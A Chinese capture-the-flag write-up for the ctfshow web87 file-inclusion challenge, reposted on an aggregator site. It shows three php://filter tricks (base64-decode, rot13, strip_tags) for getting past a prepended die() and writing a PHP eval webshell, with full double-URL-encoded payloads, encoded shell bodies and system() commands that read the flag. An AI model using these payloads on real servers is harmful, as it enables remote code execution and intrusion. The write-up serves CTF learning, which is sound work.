当前位置: 首页 > news >正文

ctfshow-web入门-文件包含(web87)巧用 php://filter 流绕过死亡函数的三种方法

目录

方法1:php://filter 流的 base64-decode 方法

方法2:通过 rot13 编码实现绕过

方法3:通过 strip_tags 函数去除 XML 标签


除了替换,新增 file_put_contents 函数,将会往 $file 里写入 <?php die('大佬别秀了');?> 和我们 post 传入的 $content 内容。

由于 $content 参数可控,因此我们可以写入恶意的 php 代码或者一句话木马,但是 <?php die('大佬别秀了');?> 这段 PHP 代码它会立即终止脚本执行并输出消息 "大佬别秀了",因此我们还需要绕过这个 die() 函数。

方法1:php://filter 流的 base64-decode 方法

Base64 编码仅包含 64 个可打印字符,即 A-Z、a-z、0-9、+ 和 /。在 PHP 中,当使用 base64_decode 函数解码一个字符串时,如果字符串中包含不在 Base64 字符集中的字符,这些字符将被跳过,只解码合法的 Base64 字符。

在解码 Base64 字符串之前先移除所有非法字符示例:

<?php
// 从 GET 请求中获取 'txt' 参数,并移除所有非法字符
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);// 解码清理后的 Base64 字符串
$decoded = base64_decode($_GET['txt']);// 输出解码后的字符串
echo $decoded;

题目中 $content 被加上了 <?php die('大佬别秀了');?> ,我们可以使用 php://filter/write=convert.base64-decode 先对其进行解码,在解码过程中,字符 <、?、空格、(、'、)、;、>,这些字符不符合 base64 编码的字符范围都将先被移除,最终剩下的用于解码的字符只有 phpdie 和我们 post 传入的内容。

由于 Base64 解码是以 4 个字符为一组进行的,这里移除后只剩下 6 个字符,因此我们随便加两个合法字符补全,让其 base64 解码成功,后面再继续传入经过 base64 编码的 payload,也可以被正常解码。

这里 url 传入的内容本身会进行一次 url 解码,题目中还使用了一个 urldecode 函数,因此 file 传入的内容需要先经过两次 url 编码再传入。

file 传入 php://filter/write=convert.base64-decode/resource=shell.php

进行两次 url 编码:

我在网上找了一些在线网站或者使用 urlencode() 函数都不会对字母进行 url 编码

因此这里使用 hackbar 来编码的,或者使用 burpsuite 也可以

我们不难看出,url 编码其实就是字符的十六进制前面加了个百分号 

两次 url 编码后的 payload: 

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30

对 webshell 进行 base64 编码:

注意我们还需要加两个合法字符让前面 base64 解码成功,这里多传入两个1。

post 传入:

content=11PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==

调用 shell.php

/shell.php?cmd=system('ls');

读取 flag:

/shell.php?cmd=system('tac fl0g.php');

拿到 flag:ctfshow{c7a95f32-b6d9-4a59-b8e7-c385684ce860}

方法2:通过 rot13 编码实现绕过

<?php die('大佬别秀了');?> 经过 rot13 编码会变成 <?cuc qrv(); ?>,如果 php 未开启短标签,则不会认识这段代码,也就不会执行。

file 传入 php://filter/write=string.rot13/resource=sh.php

两次 url 编码:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%32%65%25%37%30%25%36%38%25%37%30

将一句话木马进行 rot13 解码后传入 

content=<?cuc @riny($_TRG['pzq']);?>

该内容经过 rot13 编码就会变回正常的一句话木马 

之后访问 sh.php,调用木马:

/sh.php?cmd=system('ls');

该方法也是可以读取到 flag 的:

/sh.php?cmd=system('tac fl0g.php');

我们可以来看一下 sh.php 的内容:

前面短标签的 php 代码 <?cuc qvr('大佬别秀了');?> 无法被识别,但是后面的 <?php @eval($_GET['cmd']);?> 可以正常执行,总的来说这种方法适用于未开启短标签的情况。

方法3:通过 strip_tags 函数去除 XML 标签

<?php die(); ?> 实际上就是一个 XML 标签,我们可以通过 strip_tags 函数去除它。

但是我们传入的一句话木马也是 XML 标签,如何让它只去除 <?php die(); ?> 而不破坏我们传入的木马呢?我们可以先对一句话木马进行 base64 编码后传入,这样就不会受到 strip_tags 函数的影响,当去除掉 <?php die(); ?> 后,由于 php://filter 允许使用多个过滤器,我们再调用 base64-decode 将一句话木马进行 base64 解码,实现还原。

post 传入 base64 编码的一句话木马:

content=PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==

file 传入 php://filter/read=string.strip_tags|convert.base64-decode/resource=hack.php

两次 url 编码:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%32%25%36%35%25%36%31%25%36%34%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

报错:

Deprecated: file_put_contents(): The string.strip_tags filter is deprecated in /var/www/html/index.php on line 21

当前的 PHP 版本中 string.strip_tags 过滤器已被弃用 

看了下 hack.php 的内容:

是 base64 编码的一句话木马,很奇怪,我原本以为第一个过滤器执行失败了,但是这里没有看到 <?php die(); ?> ,说明 string.strip_tags 过滤器执行成功了,但 convert.base64-decode 过滤器未成功执行。

不太清楚是什么原因,知道的师傅可以解释一下谢谢。

http://www.lryc.cn/news/393626.html

相关文章:

  • adb shell ps -T打印出来参数的含义,以及D,T,Z代表的状态含义是什么?
  • leetcode77组合——经典回溯算法
  • springcloud-alibba之FeignClient
  • 三、docker配置阿里云镜像仓库并配置docker代理
  • 【面向就业的Linux基础】从入门到熟练,探索Linux的秘密(十一)-git(3)
  • 全面解析 TypeScript 泛型的二三事
  • 单/多线程--协程--异步爬虫
  • android pdf框架-11,查看图片
  • 【CSS】深入浅出弹性布局
  • 医院挂号系统小程序的设计
  • 广州外贸建站模板
  • KDP数据分析实战:从0到1完成数据实时采集处理到可视化
  • 【人工智能】-- 智能机器人
  • Android广播机制
  • SQL FOREIGN KEY
  • 绘唐3最新版本哪里下载
  • [ES6] 箭头函数
  • BiLSTM模型实现
  • linux内核源码学习所需基础
  • Java并发编程-AQS详解及案例实战(上篇)
  • 第11章 规划过程组(二)(11.8排列活动顺序)
  • DP学习——观察者模式
  • 如何利用GPT-4o生成有趣的梗图
  • 深入理解 KVO
  • 当需要对大量数据进行排序操作时,怎样优化内存使用和性能?
  • kubernetes集群部署:node节点部署和cri-docker运行时安装(四)
  • 第五十章 Web Service URL 汇总
  • 动态白色小幽灵404网站源码
  • axios的使用,处理请求和响应,axios拦截器
  • visual studio 2017增加.cu文件